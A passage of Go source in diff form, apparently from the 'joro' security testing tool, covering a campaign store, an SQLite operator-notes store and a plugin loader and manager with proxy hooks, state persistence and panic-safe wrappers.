|
||||
}
|
||||
}
|
||||
s.campaigns = append(s.campaigns, c)
|
||||
}
|
||||
|
||||
// Get returns a campaign by ID, or nil.
|
||||
func (s *Store) Get(id string) *Campaign {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
for _, c := range s.campaigns {
|
||||
if c.ID == id {
|
||||
return c
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// List returns all campaigns (newest first).
|
||||
func (s *Store) List() []*Campaign {
|
||||
s.mu.RLock()
|
||||
defer s.mu.RUnlock()
|
||||
out := make([]*Campaign, len(s.campaigns))
|
||||
for i, c := range s.campaigns {
|
||||
out[len(s.campaigns)-1-i] = c
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Delete removes a campaign by ID. Returns true if found and removed.
|
||||
func (s *Store) Delete(id string) bool {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
for i, c := range s.campaigns {
|
||||
if c.ID == id {
|
||||
s.campaigns = append(s.campaigns[:i], s.campaigns[i+1:]...)
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
package notes
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
|
||||
_ "modernc.org/sqlite"
|
||||
)
|
||||
|
||||
const schema = `
|
||||
CREATE TABLE IF NOT EXISTS notes (
|
||||
id TEXT PRIMARY KEY,
|
||||
host TEXT NOT NULL,
|
||||
content TEXT NOT NULL,
|
||||
author TEXT NOT NULL DEFAULT 'operator',
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
|
||||
);
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_notes_host ON notes(host);
|
||||
CREATE INDEX IF NOT EXISTS idx_notes_created ON notes(created_at DESC);
|
||||
`
|
||||
|
||||
// OpenDB opens (or creates) the SQLite database at path and runs migrations.
|
||||
func OpenDB(path string) (*sql.DB, error) {
|
||||
db, err := sql.Open("sqlite", path+"?_pragma=foreign_keys(1)&_pragma=journal_mode(wal)")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := db.Exec(schema); err != nil {
|
||||
db.Close()
|
||||
return nil, err
|
||||
}
|
||||
// Notes are ephemeral per-session; clear any leftovers from a previous run.
|
||||
// Persistent notes are saved in project config JSON files and restored on load.
|
||||
if _, err := db.Exec("DELETE FROM notes"); err != nil {
|
||||
db.Close()
|
||||
return nil, err
|
||||
}
|
||||
return db, nil
|
||||
}
|
||||
@@ -0,0 +1,125 @@
|
||||
package notes
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Note represents a per-host operator note.
|
||||
type Note struct {
|
||||
ID string `json:"id"`
|
||||
Host string `json:"host"`
|
||||
Content string `json:"content"`
|
||||
Author string `json:"author"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
UpdatedAt time.Time `json:"updatedAt"`
|
||||
}
|
||||
|
||||
// Store provides CRUD operations for notes.
|
||||
type Store struct {
|
||||
db *sql.DB
|
||||
}
|
||||
|
||||
// NewStore creates a new Store.
|
||||
func NewStore(db *sql.DB) *Store {
|
||||
return &Store{db: db}
|
||||
}
|
||||
|
||||
// CreateNote inserts a new note.
|
||||
func (s *Store) CreateNote(id, host, content, author string) (*Note, error) {
|
||||
now := time.Now().UTC()
|
||||
_, err := s.db.Exec(
|
||||
"INSERT INTO notes (id, host, content, author, created_at, updated_at) VALUES (?, ?, ?, ?, ?, ?)",
|
||||
id, host, content, author, now, now,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Note{ID: id, Host: host, Content: content, Author: author, CreatedAt: now, UpdatedAt: now}, nil
|
||||
}
|
||||
|
||||
// ListNotes returns notes for a host, paginated.
|
||||
func (s *Store) ListNotes(host string, offset, limit int) ([]Note, int, error) {
|
||||
var total int
|
||||
if err := s.db.QueryRow("SELECT COUNT(*) FROM notes WHERE host = ?", host).Scan(&total); err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
|
||||
rows, err := s.db.Query(
|
||||
"SELECT id, host, content, author, created_at, updated_at FROM notes WHERE host = ? ORDER BY created_at DESC LIMIT ? OFFSET ?",
|
||||
host, limit, offset,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var items []Note
|
||||
for rows.Next() {
|
||||
var n Note
|
||||
if err := rows.Scan(&n.ID, &n.Host, &n.Content, &n.Author, &n.CreatedAt, &n.UpdatedAt); err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
items = append(items, n)
|
||||
}
|
||||
return items, total, rows.Err()
|
||||
}
|
||||
|
||||
// DeleteNote deletes a note by ID.
|
||||
func (s *Store) DeleteNote(id string) error {
|
||||
res, err := s.db.Exec("DELETE FROM notes WHERE id = ?", id)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
if n == 0 {
|
||||
return sql.ErrNoRows
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ClearAll deletes all notes from the store.
|
||||
func (s *Store) ClearAll() error {
|
||||
_, err := s.db.Exec("DELETE FROM notes")
|
||||
return err
|
||||
}
|
||||
|
||||
// LoadAll returns every note in the store (used for serialising into project configs).
|
||||
func (s *Store) LoadAll() ([]Note, error) {
|
||||
rows, err := s.db.Query(
|
||||
"SELECT id, host, content, author, created_at, updated_at FROM notes ORDER BY host, created_at",
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var items []Note
|
||||
for rows.Next() {
|
||||
var n Note
|
||||
if err := rows.Scan(&n.ID, &n.Host, &n.Content, &n.Author, &n.CreatedAt, &n.UpdatedAt); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
items = append(items, n)
|
||||
}
|
||||
return items, rows.Err()
|
||||
}
|
||||
|
||||
// ListHosts returns all distinct hosts that have notes.
|
||||
func (s *Store) ListHosts() ([]string, error) {
|
||||
rows, err := s.db.Query("SELECT DISTINCT host FROM notes ORDER BY host")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var hosts []string
|
||||
for rows.Next() {
|
||||
var h string
|
||||
if err := rows.Scan(&h); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
hosts = append(hosts, h)
|
||||
}
|
||||
return hosts, rows.Err()
|
||||
}
|
||||
@@ -0,0 +1,143 @@
|
||||
package plugins
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"plugin"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
)
|
||||
|
||||
var nameRe = regexp.MustCompile(`^[a-z0-9][a-z0-9_-]*$`)
|
||||
|
||||
// reservedNames may not be used as plugin names because they conflict
|
||||
// with built-in URL path segments.
|
||||
var reservedNames = map[string]bool{
|
||||
"api": true, "ws": true, "ext": true, "system": true,
|
||||
}
|
||||
|
||||
// loadedPlugin holds one successfully loaded plugin.
|
||||
type loadedPlugin struct {
|
||||
ext sdk.Plugin
|
||||
hash string // SHA-256 hex of the .so file
|
||||
filename string // original filename, e.g. "my-plugin.so"
|
||||
}
|
||||
|
||||
// loadPlugins scans dir for .so/.dylib files, opens each via Go's plugin
|
||||
// package, and looks up the exported "Extension" symbol.
|
||||
func loadPlugins(dir string) ([]loadedPlugin, []error) {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil, nil
|
||||
}
|
||||
return nil, []error{fmt.Errorf("read plugin dir: %w", err)}
|
||||
}
|
||||
|
||||
var loaded []loadedPlugin
|
||||
var errs []error
|
||||
seen := map[string]bool{}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := entry.Name()
|
||||
if !isPluginFile(name) {
|
||||
continue
|
||||
}
|
||||
|
||||
path := filepath.Join(dir, name)
|
||||
lp, err := loadOne(path)
|
||||
if err != nil {
|
||||
errs = append(errs, fmt.Errorf("plugin %s: %w", name, err))
|
||||
continue
|
||||
}
|
||||
lp.filename = name
|
||||
|
||||
manifest := lp.ext.Manifest()
|
||||
if err := validateManifest(manifest); err != nil {
|
||||
errs = append(errs, fmt.Errorf("plugin %s: %w", name, err))
|
||||
continue
|
||||
}
|
||||
|
||||
if seen[manifest.Name] {
|
||||
errs = append(errs, fmt.Errorf("plugin %s: duplicate name %q", name, manifest.Name))
|
||||
continue
|
||||
}
|
||||
seen[manifest.Name] = true
|
||||
loaded = append(loaded, lp)
|
||||
}
|
||||
|
||||
return loaded, errs
|
||||
}
|
||||
|
||||
func loadOne(path string) (loadedPlugin, error) {
|
||||
hash, err := fileHash(path)
|
||||
if err != nil {
|
||||
return loadedPlugin{}, fmt.Errorf("hash: %w", err)
|
||||
}
|
||||
|
||||
p, err := plugin.Open(path)
|
||||
if err != nil {
|
||||
// "plugin: not implemented" surfaces when the host binary was built
|
||||
// with CGO_ENABLED=0 — Go's plugin runtime is dlopen-based and gets
|
||||
// compiled out. Re-skin the error with actionable guidance.
|
||||
if strings.Contains(err.Error(), "plugin: not implemented") {
|
||||
return loadedPlugin{}, fmt.Errorf("Go plugin support is disabled in this joro binary (built without CGO). Install a release v1.0.1 or later, or build from source with `make build`")
|
||||
}
|
||||
return loadedPlugin{}, fmt.Errorf("open: %w", err)
|
||||
}
|
||||
|
||||
sym, err := p.Lookup("Plugin")
|
||||
if err != nil {
|
||||
return loadedPlugin{}, fmt.Errorf("lookup Plugin symbol: %w", err)
|
||||
}
|
||||
|
||||
// The symbol must be a pointer to an sdk.Plugin value.
|
||||
plugPtr, ok := sym.(*sdk.Plugin)
|
||||
if !ok {
|
||||
return loadedPlugin{}, fmt.Errorf("Plugin symbol is %T, want *sdk.Plugin", sym)
|
||||
}
|
||||
|
||||
return loadedPlugin{ext: *plugPtr, hash: hash}, nil
|
||||
}
|
||||
|
||||
func isPluginFile(name string) bool {
|
||||
return strings.HasSuffix(name, ".so") || strings.HasSuffix(name, ".dylib")
|
||||
}
|
||||
|
||||
func validateManifest(m sdk.Manifest) error {
|
||||
if !nameRe.MatchString(m.Name) {
|
||||
return fmt.Errorf("invalid name %q: must match %s", m.Name, nameRe.String())
|
||||
}
|
||||
if reservedNames[m.Name] {
|
||||
return fmt.Errorf("reserved name %q", m.Name)
|
||||
}
|
||||
switch m.Type {
|
||||
case sdk.TypeExecProvider, sdk.TypeTab, sdk.TypeFeature, sdk.TypeProxyHook, sdk.TypeDashboard, sdk.TypeInteractProvider:
|
||||
// valid
|
||||
default:
|
||||
return fmt.Errorf("unknown plugin type %q", m.Type)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func fileHash(path string) (string, error) {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer f.Close()
|
||||
h := sha256.New()
|
||||
if _, err := io.Copy(h, f); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil)), nil
|
||||
}
|
||||
@@ -0,0 +1,566 @@
|
||||
package plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
)
|
||||
|
||||
// PluginInfo is the API-facing summary of a loaded plugin.
|
||||
type PluginInfo struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Desc string `json:"description"`
|
||||
Type sdk.PluginType `json:"type"`
|
||||
Status string `json:"status"` // "loaded", "error"
|
||||
Error string `json:"error,omitempty"`
|
||||
Hash string `json:"hash"` // SHA-256 of .so file
|
||||
Filename string `json:"filename"` // original .so/.dylib filename
|
||||
HasGraph bool `json:"hasGraph,omitempty"` // exec provider implements GraphProvider
|
||||
TabLabel string `json:"tabLabel,omitempty"` // for tab/feature/dashboard types
|
||||
}
|
||||
|
||||
// Manager loads, categorizes, and manages the lifecycle of plugins.
|
||||
type Manager struct {
|
||||
mu sync.RWMutex
|
||||
pluginDir string
|
||||
execProviders map[string]sdk.ExecProvider
|
||||
tabProviders map[string]sdk.TabProvider
|
||||
features map[string]sdk.TabProvider
|
||||
interactProviders map[string]sdk.InteractProvider
|
||||
proxyHooks []sdk.ProxyHook
|
||||
dashboard sdk.DashboardProvider
|
||||
allPlugins []PluginInfo
|
||||
broadcast chan<- any
|
||||
}
|
||||
|
||||
// NewManager creates a plugin manager that loads plugins from pluginDir.
|
||||
func NewManager(pluginDir string, broadcast chan<- any) *Manager {
|
||||
return &Manager{
|
||||
pluginDir: pluginDir,
|
||||
execProviders: make(map[string]sdk.ExecProvider),
|
||||
tabProviders: make(map[string]sdk.TabProvider),
|
||||
features: make(map[string]sdk.TabProvider),
|
||||
interactProviders: make(map[string]sdk.InteractProvider),
|
||||
broadcast: broadcast,
|
||||
}
|
||||
}
|
||||
|
||||
// Start loads all plugins from the plugin directory, categorizes them by type,
|
||||
// and calls Init() on each. Errors during loading or init are logged but do not
|
||||
// prevent other plugins from loading.
|
||||
func (m *Manager) Start(ctx context.Context) error {
|
||||
// Ensure plugin directory exists.
|
||||
if err := os.MkdirAll(m.pluginDir, 0o700); err != nil {
|
||||
return fmt.Errorf("create plugin dir: %w", err)
|
||||
}
|
||||
|
||||
plugins, errs := loadPlugins(m.pluginDir)
|
||||
for _, err := range errs {
|
||||
log.Printf("[plugins] %v", err)
|
||||
}
|
||||
|
||||
for _, lp := range plugins {
|
||||
manifest := lp.ext.Manifest()
|
||||
info := PluginInfo{
|
||||
Name: manifest.Name,
|
||||
Version: manifest.Version,
|
||||
Desc: manifest.Description,
|
||||
Type: manifest.Type,
|
||||
Status: "loaded",
|
||||
Hash: lp.hash,
|
||||
Filename: lp.filename,
|
||||
}
|
||||
|
||||
// Create scoped data directory for this plugin.
|
||||
dataDir := filepath.Join(filepath.Dir(m.pluginDir), "plugin-data", manifest.Name)
|
||||
if err := os.MkdirAll(dataDir, 0o700); err != nil {
|
||||
info.Status = "error"
|
||||
info.Error = fmt.Sprintf("create data dir: %v", err)
|
||||
m.allPlugins = append(m.allPlugins, info)
|
||||
log.Printf("[plugins] %s: %s", manifest.Name, info.Error)
|
||||
continue
|
||||
}
|
||||
|
||||
// Init with panic recovery.
|
||||
extCtx := sdk.PluginContext{
|
||||
DataDir: dataDir,
|
||||
Broadcast: newScopedBroadcast(manifest.Name, m.broadcast),
|
||||
}
|
||||
if err := safeInit(lp.ext, extCtx); err != nil {
|
||||
info.Status = "error"
|
||||
info.Error = fmt.Sprintf("init: %v", err)
|
||||
m.allPlugins = append(m.allPlugins, info)
|
||||
log.Printf("[plugins] %s init failed: %v", manifest.Name, err)
|
||||
continue
|
||||
}
|
||||
|
||||
// Categorize by type.
|
||||
switch manifest.Type {
|
||||
case sdk.TypeExecProvider:
|
||||
ep, ok := lp.ext.(sdk.ExecProvider)
|
||||
if !ok {
|
||||
info.Status = "error"
|
||||
info.Error = "does not implement ExecProvider interface"
|
||||
} else {
|
||||
m.execProviders[manifest.Name] = ep
|
||||
if _, hasGraph := lp.ext.(sdk.GraphProvider); hasGraph {
|
||||
info.HasGraph = true
|
||||
}
|
||||
}
|
||||
|
||||
case sdk.TypeTab:
|
||||
tp, ok := lp.ext.(sdk.TabProvider)
|
||||
if !ok {
|
||||
info.Status = "error"
|
||||
info.Error = "does not implement TabProvider interface"
|
||||
} else {
|
||||
m.tabProviders[manifest.Name] = tp
|
||||
info.TabLabel = tp.TabInfo().Label
|
||||
}
|
||||
|
||||
case sdk.TypeFeature:
|
||||
fp, ok := lp.ext.(sdk.TabProvider)
|
||||
if !ok {
|
||||
info.Status = "error"
|
||||
info.Error = "does not implement TabProvider interface"
|
||||
} else {
|
||||
m.features[manifest.Name] = fp
|
||||
info.TabLabel = fp.TabInfo().Label
|
||||
}
|
||||
|
||||
case sdk.TypeProxyHook:
|
||||
ph, ok := lp.ext.(sdk.ProxyHook)
|
||||
if !ok {
|
||||
info.Status = "error"
|
||||
info.Error = "does not implement ProxyHook interface"
|
||||
} else {
|
||||
m.proxyHooks = append(m.proxyHooks, ph)
|
||||
}
|
||||
|
||||
case sdk.TypeDashboard:
|
||||
dp, ok := lp.ext.(sdk.DashboardProvider)
|
||||
if !ok {
|
||||
info.Status = "error"
|
||||
info.Error = "does not implement DashboardProvider interface"
|
||||
} else if m.dashboard != nil {
|
||||
info.Status = "error"
|
||||
info.Error = "only one dashboard plugin can be active"
|
||||
} else {
|
||||
m.dashboard = dp
|
||||
info.TabLabel = manifest.Name
|
||||
}
|
||||
|
||||
case sdk.TypeInteractProvider:
|
||||
ip, ok := lp.ext.(sdk.InteractProvider)
|
||||
if !ok {
|
||||
info.Status = "error"
|
||||
info.Error = "does not implement InteractProvider interface"
|
||||
} else {
|
||||
m.interactProviders[manifest.Name] = ip
|
||||
info.TabLabel = ip.Info().Label
|
||||
}
|
||||
}
|
||||
|
||||
m.allPlugins = append(m.allPlugins, info)
|
||||
log.Printf("[plugins] loaded %s v%s (%s) [%s]", manifest.Name, manifest.Version, manifest.Type, lp.hash[:12])
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Shutdown calls Shutdown() on each loaded plugin with panic recovery.
|
||||
func (m *Manager) Shutdown() {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
|
||||
for name, ep := range m.execProviders {
|
||||
safeShutdown(name, ep)
|
||||
}
|
||||
for name, tp := range m.tabProviders {
|
||||
safeShutdown(name, tp)
|
||||
}
|
||||
for name, fp := range m.features {
|
||||
safeShutdown(name, fp)
|
||||
}
|
||||
for name, ip := range m.interactProviders {
|
||||
safeShutdown(name, ip)
|
||||
}
|
||||
for _, ph := range m.proxyHooks {
|
||||
safeShutdown(ph.Manifest().Name, ph)
|
||||
}
|
||||
if m.dashboard != nil {
|
||||
safeShutdown(m.dashboard.Manifest().Name, m.dashboard)
|
||||
}
|
||||
}
|
||||
|
||||
// List returns info about all loaded plugins.
|
||||
func (m *Manager) List() []PluginInfo {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
out := make([]PluginInfo, len(m.allPlugins))
|
||||
copy(out, m.allPlugins)
|
||||
return out
|
||||
}
|
||||
|
||||
// ExecProviders returns the loaded execution providers.
|
||||
func (m *Manager) ExecProviders() map[string]sdk.ExecProvider {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return m.execProviders
|
||||
}
|
||||
|
||||
// TabProviders returns the loaded top-level tab plugins.
|
||||
func (m *Manager) TabProviders() map[string]sdk.TabProvider {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return m.tabProviders
|
||||
}
|
||||
|
||||
// Features returns the loaded plugin features (sub-tabs).
|
||||
func (m *Manager) Features() map[string]sdk.TabProvider {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return m.features
|
||||
}
|
||||
|
||||
// InteractProviders returns the loaded Interact-tab OOB plugins.
|
||||
func (m *Manager) InteractProviders() map[string]sdk.InteractProvider {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return m.interactProviders
|
||||
}
|
||||
|
||||
// ProxyHooks returns the loaded proxy hooks in load order.
|
||||
func (m *Manager) ProxyHooks() []sdk.ProxyHook {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return m.proxyHooks
|
||||
}
|
||||
|
||||
// Dashboard returns the loaded dashboard plugin, or nil.
|
||||
func (m *Manager) Dashboard() sdk.DashboardProvider {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return m.dashboard
|
||||
}
|
||||
|
||||
// PluginDir returns the directory where plugin .so/.dylib files are stored.
|
||||
func (m *Manager) PluginDir() string {
|
||||
return m.pluginDir
|
||||
}
|
||||
|
||||
// HasPlugins returns true if any plugins are loaded.
|
||||
func (m *Manager) HasPlugins() bool {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
return len(m.allPlugins) > 0
|
||||
}
|
||||
|
||||
// GraphData collects network graph data from all connected ExecProviders that
|
||||
// implement GraphProvider. Returns a map keyed by provider name.
|
||||
func (m *Manager) GraphData(ctx context.Context) map[string]sdk.GraphInfo {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
|
||||
result := make(map[string]sdk.GraphInfo)
|
||||
for name, ep := range m.execProviders {
|
||||
gp, ok := ep.(sdk.GraphProvider)
|
||||
if !ok || !ep.IsConnected() {
|
||||
continue
|
||||
}
|
||||
info, err := safeGraphData(ctx, name, gp)
|
||||
if err != nil {
|
||||
log.Printf("[plugins] %s: graph data error: %v", name, err)
|
||||
continue
|
||||
}
|
||||
result[name] = info
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// RunRequestHook chains all proxy hooks' OnRequest methods.
|
||||
// Returns the (possibly modified) raw request, or nil to drop.
|
||||
func (m *Manager) RunRequestHook(ctx context.Context, info sdk.RequestInfo, rawReq []byte) ([]byte, error) {
|
||||
m.mu.RLock()
|
||||
hooks := m.proxyHooks
|
||||
m.mu.RUnlock()
|
||||
|
||||
current := rawReq
|
||||
for _, hook := range hooks {
|
||||
result, err := safeOnRequest(ctx, hook, info, current)
|
||||
if err != nil {
|
||||
log.Printf("[plugins] %s: request hook error: %v", hook.Manifest().Name, err)
|
||||
continue // skip this hook, use current value
|
||||
}
|
||||
if result == nil {
|
||||
return nil, nil // drop
|
||||
}
|
||||
current = result
|
||||
}
|
||||
return current, nil
|
||||
}
|
||||
|
||||
// RunResponseHook chains all proxy hooks' OnResponse methods.
|
||||
func (m *Manager) RunResponseHook(ctx context.Context, info sdk.RequestInfo, rawResp []byte) ([]byte, error) {
|
||||
m.mu.RLock()
|
||||
hooks := m.proxyHooks
|
||||
m.mu.RUnlock()
|
||||
|
||||
current := rawResp
|
||||
for _, hook := range hooks {
|
||||
result, err := safeOnResponse(ctx, hook, info, current)
|
||||
if err != nil {
|
||||
log.Printf("[plugins] %s: response hook error: %v", hook.Manifest().Name, err)
|
||||
continue
|
||||
}
|
||||
if result != nil {
|
||||
current = result
|
||||
}
|
||||
}
|
||||
return current, nil
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// State persistence helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// allPluginsForState returns every currently loaded plugin keyed by name.
|
||||
// Plugins appear once regardless of how many interfaces they satisfy.
|
||||
func (m *Manager) allPluginsForState() map[string]sdk.Plugin {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
|
||||
out := make(map[string]sdk.Plugin)
|
||||
for name, ep := range m.execProviders {
|
||||
out[name] = ep
|
||||
}
|
||||
for name, tp := range m.tabProviders {
|
||||
out[name] = tp
|
||||
}
|
||||
for name, fp := range m.features {
|
||||
out[name] = fp
|
||||
}
|
||||
for name, ip := range m.interactProviders {
|
||||
out[name] = ip
|
||||
}
|
||||
for _, ph := range m.proxyHooks {
|
||||
out[ph.Manifest().Name] = ph
|
||||
}
|
||||
if m.dashboard != nil {
|
||||
out[m.dashboard.Manifest().Name] = m.dashboard
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ExportUserStates walks every loaded plugin and returns state bytes for those
|
||||
// that implement sdk.UserStatefulPlugin. Plugins whose ExportUserState panics
|
||||
// or errors are skipped with a log line; the returned map only contains
|
||||
// successful exports.
|
||||
func (m *Manager) ExportUserStates() map[string][]byte {
|
||||
out := make(map[string][]byte)
|
||||
for name, plug := range m.allPluginsForState() {
|
||||
usp, ok := plug.(sdk.UserStatefulPlugin)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
data, err := safeExportUserState(usp)
|
||||
if err != nil {
|
||||
log.Printf("[plugins] %s: export user state: %v", name, err)
|
||||
continue
|
||||
}
|
||||
out[name] = data
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ApplyUserStates calls ImportUserState on each loaded UserStatefulPlugin whose
|
||||
// name appears in states. Returns names that did not match a loaded
|
||||
// UserStatefulPlugin so callers can preserve those blobs across round-trips.
|
||||
func (m *Manager) ApplyUserStates(states map[string][]byte) []string {
|
||||
loaded := m.allPluginsForState()
|
||||
var unknown []string
|
||||
for name, data := range states {
|
||||
plug, ok := loaded[name]
|
||||
if !ok {
|
||||
unknown = append(unknown, name)
|
||||
continue
|
||||
}
|
||||
usp, ok := plug.(sdk.UserStatefulPlugin)
|
||||
if !ok {
|
||||
// Plugin is loaded but doesn't opt in to user-scoped state —
|
||||
// treat as unknown so the blob is preserved on re-save.
|
||||
unknown = append(unknown, name)
|
||||
continue
|
||||
}
|
||||
if err := safeImportUserState(usp, data); err != nil {
|
||||
log.Printf("[plugins] %s: import user state: %v", name, err)
|
||||
}
|
||||
}
|
||||
return unknown
|
||||
}
|
||||
|
||||
// ExportProjectStates is the ProjectStatefulPlugin analogue of ExportUserStates.
|
||||
func (m *Manager) ExportProjectStates() map[string][]byte {
|
||||
out := make(map[string][]byte)
|
||||
for name, plug := range m.allPluginsForState() {
|
||||
psp, ok := plug.(sdk.ProjectStatefulPlugin)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
data, err := safeExportProjectState(psp)
|
||||
if err != nil {
|
||||
log.Printf("[plugins] %s: export project state: %v", name, err)
|
||||
continue
|
||||
}
|
||||
out[name] = data
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ApplyProjectStates is the ProjectStatefulPlugin analogue of ApplyUserStates.
|
||||
func (m *Manager) ApplyProjectStates(states map[string][]byte) []string {
|
||||
loaded := m.allPluginsForState()
|
||||
var unknown []string
|
||||
for name, data := range states {
|
||||
plug, ok := loaded[name]
|
||||
if !ok {
|
||||
unknown = append(unknown, name)
|
||||
continue
|
||||
}
|
||||
psp, ok := plug.(sdk.ProjectStatefulPlugin)
|
||||
if !ok {
|
||||
unknown = append(unknown, name)
|
||||
continue
|
||||
}
|
||||
if err := safeImportProjectState(psp, data); err != nil {
|
||||
log.Printf("[plugins] %s: import project state: %v", name, err)
|
||||
}
|
||||
}
|
||||
return unknown
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Scoped broadcast channel
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// scopedBroadcast wraps a broadcast channel to automatically prefix event types
|
||||
// with "ext.{name}.", preventing plugins from spoofing built-in events.
|
||||
type scopedBroadcast struct {
|
||||
prefix string
|
||||
inner chan<- any
|
||||
}
|
||||
|
||||
func newScopedBroadcast(name string, inner chan<- any) chan<- sdk.Event {
|
||||
sb := &scopedBroadcast{
|
||||
prefix: "plugin." + name + ".",
|
||||
inner: inner,
|
||||
}
|
||||
ch := make(chan sdk.Event, 64)
|
||||
go func() {
|
||||
for ev := range ch {
|
||||
wsEvent := event.WSEvent{
|
||||
Type: sb.prefix + ev.Type,
|
||||
Data: ev.Data,
|
||||
}
|
||||
select {
|
||||
case sb.inner <- wsEvent:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}()
|
||||
return ch
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Panic-safe wrappers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
func safeInit(ext sdk.Plugin, ctx sdk.PluginContext) (err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
}
|
||||
}()
|
||||
return ext.Init(ctx)
|
||||
}
|
||||
|
||||
func safeShutdown(name string, ext sdk.Plugin) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[plugins] %s: shutdown panic: %v", name, r)
|
||||
}
|
||||
}()
|
||||
if err := ext.Shutdown(); err != nil {
|
||||
log.Printf("[plugins] %s: shutdown error: %v", name, err)
|
||||
}
|
||||
}
|
||||
|
||||
func safeGraphData(ctx context.Context, name string, gp sdk.GraphProvider) (info sdk.GraphInfo, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
}
|
||||
}()
|
||||
return gp.GraphData(ctx), nil
|
||||
}
|
||||
|
||||
func safeOnRequest(ctx context.Context, hook sdk.ProxyHook, info sdk.RequestInfo, rawReq []byte) (result []byte, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
}
|
||||
}()
|
||||
return hook.OnRequest(ctx, info, rawReq)
|
||||
}
|
||||
|
||||
func safeOnResponse(ctx context.Context, hook sdk.ProxyHook, info sdk.RequestInfo, rawResp []byte) (result []byte, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
}
|
||||
}()
|
||||
return hook.OnResponse(ctx, info, rawResp)
|
||||
}
|
||||
|
||||
func safeExportUserState(p sdk.UserStatefulPlugin) (data []byte, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
}
|
||||
}()
|
||||
return p.ExportUserState()
|
||||
}
|
||||
|
||||
func safeImportUserState(p sdk.UserStatefulPlugin, data []byte) (err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
